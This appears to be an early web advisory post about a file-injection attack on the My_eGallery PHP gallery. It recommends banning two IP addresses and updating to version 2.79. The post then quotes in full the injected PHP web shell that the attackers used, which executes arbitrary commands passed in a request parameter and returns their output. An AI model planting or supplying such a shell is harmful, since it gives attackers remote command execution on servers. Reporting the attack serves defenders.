Anonymous writes "NovaServe has detected an apparent cross-site scripting exploit that has been launched via www.mirabela.net from russian cyberspace. The site lists http://big-big.com as its admin home and the curious can find the identities of the hackers portrayed on this page.
The exploit tries to inject new files into the My_eGallery folders exploiting an apparent bug in My_eGallery. Users are advised to ban the following IP's as a first step in safe-guarding their installations.
80.96.
66.218.79.186
Updating the script to version 2.79 is also advised.

The following is the content of the injection script found at mirabela:

[code]
CMD - System
Command
Script ini di copy dengan pemberitahuan kepada pengguna sebelumnya....

face="Verdana" size="1">

# CMD PHP INJECTIONS:

# Edit by : #WestBorneo Crew

---

  // CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )

  if (isset($chdir)) @chdir($chdir);

  ob_start();

  system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm 

/tmp/cmdtemp");

  $output = ob_get_contents();

  ob_end_clean();

  if (!empty($output)) echo str_replace(">", ">", str_replace("<", 

"<",

 $output));

?>

---

# www.setrom.da.ru
@
SeTRoM
#




--=="#westborneo The Dream Team" ==--[/code]"